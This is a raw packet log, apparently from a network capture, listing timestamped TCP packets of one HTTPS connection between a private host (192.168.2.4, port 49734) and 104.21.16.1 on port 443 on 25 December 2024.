Dec 25, 2024 15:09:20.575741053 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:20.580519915 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:20.580537081 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:20.580600977 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:20.580621004 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:20.580666065 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:20.685101986 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:20.685121059 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:20.685208082 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:20.685260057 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:20.685318947 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:20.735613108 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:20.735630989 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:20.735749960 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:20.735793114 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:20.735866070 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:20.741784096 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:20.741811037 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:20.746120930 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:20.746134043 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:20.746288061 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:20.746324062 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:20.746340990 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:20.746396065 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:20.746409893 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:20.746504068 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:20.748354912 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:20.748682022 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:20.753732920 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:20.753747940 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:20.753843069 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:20.753859997 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:20.757971048 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:20.757992029 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:20.758048058 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:20.758078098 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:20.758115053 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:20.780189991 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:20.780205965 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:20.780283928 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:20.780312061 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:20.785680056 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:20.785700083 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:20.785792112 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:20.785813093 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:20.836913109 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:20.878729105 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:20.878743887 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:20.878791094 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:20.878825903 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:20.878984928 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:20.878985882 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:20.879065037 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:20.879132986 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:20.930608034 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:20.930624962 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:20.930845022 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:20.930917025 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:20.930979013 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:20.935381889 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:20.935395956 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:20.935478926 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:20.935502052 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:20.935554028 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:20.940716028 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:20.940731049 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:20.940810919 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:20.940828085 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:20.940886021 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:20.946306944 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:20.946321011 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:20.946397066 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:20.946412086 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:20.946460962 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:20.951293945 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:20.951308966 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:20.951447964 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:20.951462984 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:20.951529980 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:20.973078966 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:20.973094940 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:20.973210096 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:20.973244905 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:20.973412037 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:20.978827000 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:20.978844881 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:20.978913069 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:20.978938103 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:20.978997946 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.076457977 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.076473951 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.076561928 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.076582909 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.076657057 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.128906965 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.128923893 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.128995895 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.129031897 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.129086971 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.134974003 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.134989023 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.135061026 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.135093927 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.135171890 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.140436888 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.140451908 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.140527964 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.140547037 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.140600920 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.146111965 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.146126032 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.146190882 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.146207094 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.146260023 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.150985003 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.150999069 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.151067972 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.151084900 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.151153088 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.176646948 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.176662922 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.176733017 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.176747084 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.176773071 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.176795006 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.181557894 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.181572914 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.181660891 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.181678057 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.181806087 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.287746906 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.287803888 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.287859917 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.287903070 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.287936926 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.287959099 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.342292070 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.342349052 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.342406988 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.342431068 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.342459917 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.342485905 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.349426985 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.349473000 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.349519968 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.349534988 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.349565029 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.349606991 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.355235100 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.355283976 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.355335951 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.355351925 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.355429888 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.355473042 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.360044956 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.360109091 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.360136986 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.360165119 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.360198021 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.360219955 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.365643024 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.365694046 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.365735054 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.365777016 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.365808010 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.365853071 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.370973110 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.371017933 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.371047974 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.371062994 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.371081114 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.371104956 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.376538992 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.376585007 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.376621008 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.376629114 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.376657963 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.376672983 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.479804993 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.479851961 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.479895115 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.479932070 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.479953051 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.479971886 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.534822941 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.534868956 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.534925938 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.534940958 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.534970045 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.534985065 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.541904926 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.541949987 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.541981936 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.541999102 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.542013884 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.542038918 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.546830893 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.546874046 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.546905994 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.546914101 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.546941042 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.546952963 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.552442074 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.552484989 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.552516937 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.552524090 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.552550077 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.552561998 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.557981968 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.558043957 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.558062077 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.558070898 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.558104038 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.558115005 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.563157082 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.563201904 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.563234091 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.563241005 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.563266993 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.563280106 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.568566084 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.568608999 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.568644047 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.568651915 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.568665981 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.568687916 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.672084093 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.672148943 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.672168970 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.672199965 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.672324896 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.672336102 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.747437000 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.747483015 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.747548103 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.747569084 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.747703075 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.747703075 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.753977060 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.754019022 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.754055977 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.754064083 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.754086018 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.754106998 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.759399891 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.759443045 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.759476900 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.759485006 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.759511948 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.759526014 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.765028000 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.765069008 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.765104055 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.765111923 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.765130997 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.765156031 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.769821882 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.769864082 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.769896984 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.769905090 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.769928932 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.769943953 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.775383949 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.775432110 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.775468111 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.775476933 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.775505066 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.775521040 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.780960083 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.781002998 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.781039000 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.781048059 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.781066895 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.781081915 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.864857912 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.864901066 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.865000010 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.865021944 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.865037918 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.865195036 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.940336943 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.940381050 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.940435886 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.940449953 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.940593958 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.940593958 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.947201967 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.947244883 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.947349072 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.947360039 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.947397947 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.947419882 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.952756882 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.952801943 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.952838898 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.952847958 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.952873945 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.952894926 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.958309889 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.958388090 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.958441019 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.958448887 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.958492041 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.963085890 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.963136911 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.963241100 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.963251114 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.963295937 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.968739033 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.968802929 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.968846083 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.968853951 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.968878031 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.968898058 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.974095106 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.974138975 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.974165916 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.974174976 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:21.974215984 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:21.974215984 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.057640076 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.057693958 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.057820082 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.057820082 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.057842970 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.057904959 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.132430077 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.132458925 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.132560015 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.132600069 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.132654905 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.139286041 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.139307022 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.139375925 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.139389038 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.139442921 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.144452095 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.144474030 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.144536018 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.144551039 CET	443	49734	104.21.16.1	192.168.2.4
